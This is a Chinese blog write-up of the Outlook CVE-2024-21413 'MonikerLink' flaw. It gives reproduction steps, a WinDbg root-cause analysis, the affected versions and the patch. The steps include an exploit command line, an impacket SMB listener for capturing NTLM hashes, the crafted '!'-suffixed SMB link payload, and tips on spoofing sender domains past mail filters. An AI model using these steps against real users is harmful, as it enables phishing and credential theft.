一、前言
Microsoft Office Outlook是微软office的组件之一,也是常用的邮件客户端之一。CVE-2024-21413 是在 Microsoft Outlook 中发现的一个重大安全漏洞,CVSS 评分 9.8。攻击者将一个带恶意链接的邮件发送给被攻击用户,当用户点击链接时,会导致NTLM窃取与远程代码执行(RCE),并且该漏洞还能使攻击者能够绕过Office文档的受保护视图。本文先讲复现过程,后讲漏洞原理。
二、漏洞复现
准备材料:windows和linux虚拟机,hMailServer
2.1 搭建邮件服务器
下载安装hMailServer。需要在Domins里配置邮箱的域名和账号,域名可以填成别人的域名。因为我们只用来发件,并不需要接收邮件,所以也不需要自己购买域名做解析。
注意,不是所有的域名都能发送成功,主流的邮箱都会做校验,我们客户端发出的邮件特征与官方来源不一致会直接丢弃。经过笔者尝试, youtu防和谐be.com或139.com域名可正常投递到163邮箱,其他域名请自行尝试。
2.2 安装outlook
推荐从ITELLYOU下载官方版的Office,https://msdn.itellyou.cn/
需要注意,不能只安装outlook,推荐安装全部套件。安装后无需激活,不影响后续利用。
2.3. 发送攻击邮件
使用exp链接:https://github.com/duy-31/CVE-2024-21413
./cve-2024-21413.sh [hMailServer ip] [hMailServer port] [hMailServer sender email ] [outlook reveiver email ] "\\[NTLM reveiver ip]\test\duy31.txt"
例如:
./cve-2024-21413.sh 192.168.0.210 25 admin@you防和谐tube.com raddyfiy@163.com "\\192.168.0.44\test\duy31.txt"
2.4 NTLM接收机设置监听
sudo impacket-smbserver -smb2support -ip 0.0.0.0 test /tmp
注意,impacket-smbserver是kali自带的工具。如果机器里没有,可以使用此脚本接收:https://github.com/lgandx/Responder
2.5 触发漏洞
正常情况下点击链接会触发outlook的告警:
但通过此漏洞构造的邮件不会触发任何告警,用户点击click之后,攻击者成功接收用户的NTLM。
2.6 RCE(命令执行)
此漏洞本质上只是实现了任意SMB URL访问。想要实现RCE需要与其他漏洞配合,例如CVE-2023-21716、CVE-2022-30190等。
三、漏洞原理
在Outlook里,此类链接统称为“Moniker Link”,所以此漏洞也被叫做MonikerLink漏洞。Outlook内部使用”ole32!MkParseDisplayName()”的api对MonikerLink进行解析,根据解析结果来寻找的COM对象。当用户单击访问后,会断在这个函数里:
Breakpoint 0 hit
eax=00000000 ebx=00000023 ecx=1a168666 edx=0000002f esi=1a168620 edi=800401e4
eip=772a5ca0 esp=009c8d2c ebp=009c97ac iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
ole32!MkParseDisplayName:
772a5ca0 8bff mov edi,edi
0:000> k
# ChildEBP RetAddr
00 009c97ac 64707f22 ole32!MkParseDisplayName [com\ole32\com\moniker2\cmonimp.cxx @ 1413]
01 009c97ac 64703930 hlink!HrParseDisplayNameEx+0x5052
02 009c983c 64702dc8 hlink!HrIntHlinkCreate+0x140
03 009c9878 740af6db hlink!HlinkCreateFromString+0xa8
04 009c9914 69e839bf mso30win32client!MsoHrHlinkCreateFromString+0x8d
05 009c9a88 69e837af wwlib!HrCreateHlinkParseField+0x1eb
06 009cec94 69dbd065 wwlib!HrCreateHlinkFromField+0xda
07 009cece4 6a814114 wwlib!FReadHyperlinkFieldData+0x1c7
08 009cedac 6acc1cd8 wwlib!TmcHyperlinkOpen+0xbe
09 009cedd8 6aceaea3 wwlib!FDoHyperlinkHit+0x9f
0a 009cedf0 6b109066 wwlib!FHandleHyperlinkOnClick+0x43
0b 009cee38 6b101b7a wwlib!CHyperlinkTE::HandleClick+0x129
0c 009cf07c 6b101f6e wwlib!CDispatcherTE::OnClick+0x2ae
0d 009cf090 6b0f8d59 wwlib!CDispatcherTE::OnSingleClick+0x10
0e 009cf0a8 6b0f8f0e wwlib!CMouseToolApp::ExecuteGesture+0xfa
...
查询微软的api文档: https://learn.microsoft.com/en-us/windows/win32/api/objbase/nf-objbase-mkparsedisplayname
可以看到API“MkParseDisplayName()”的第二个参数“szUserName”保存了我们构造的url。下断点可以看到我的输入:
0:000> du poi(esp+4*2)
1a168620 "\\10.10.111.111\test\test.rtf!something"
Payload的精髓是加了一个感叹号!,根据官方文档,当链接里有!时,会将整体识别为两部分,感叹号前面的叫FileMoniker,感叹号后面的(something)叫ItemMoniker。接下来windows会在后台调用Word组件,word会首先打开第一部分指向的文件(\\10.10.111.111\test\test.rtf),之后会在文件内部寻找ItemMoniker对象(something)。
但此链接是SMB协议的,该协议是windows进行文件共享的协议,认证过程会携带NTLM凭据。所以只要访问攻击者的机器,攻击者即可接收到NTLM,之后可以用hashcat等进行爆破。同时因为outlook会直接下载该链接的文件,当文件是RTF系列漏洞的攻击payload时,相应的漏洞就会被触发,进行进一步命令执行利用。
四、影响范围
漏洞几乎影响全系列office产品,包括但不限于:
Microsoft Office 2016 (64bit、32bit)
Microsoft Office 2019 (64bit、32bit)
Microsoft Office LTSC 2021 (64bit、32bit)
Microsoft 365 Apps for Enterprise (64bit、32bit)
五、修复措施
微软已在2024年2月发布了修复补丁,更新KB5002537及以上的补丁即可修复。
六、总结
直到现在最常用 的社会工程学攻击手段仍是邮件钓鱼。有漏洞、长期不更新的邮件客户端极其容易成为钓鱼邮件的目标,所以用户应保持良好的使用习惯,邮件客户端要及时更新,或直接使用网页版邮箱。同时对于收到的任何邮件要保持警惕,不点击陌生链接、不下载可疑附件。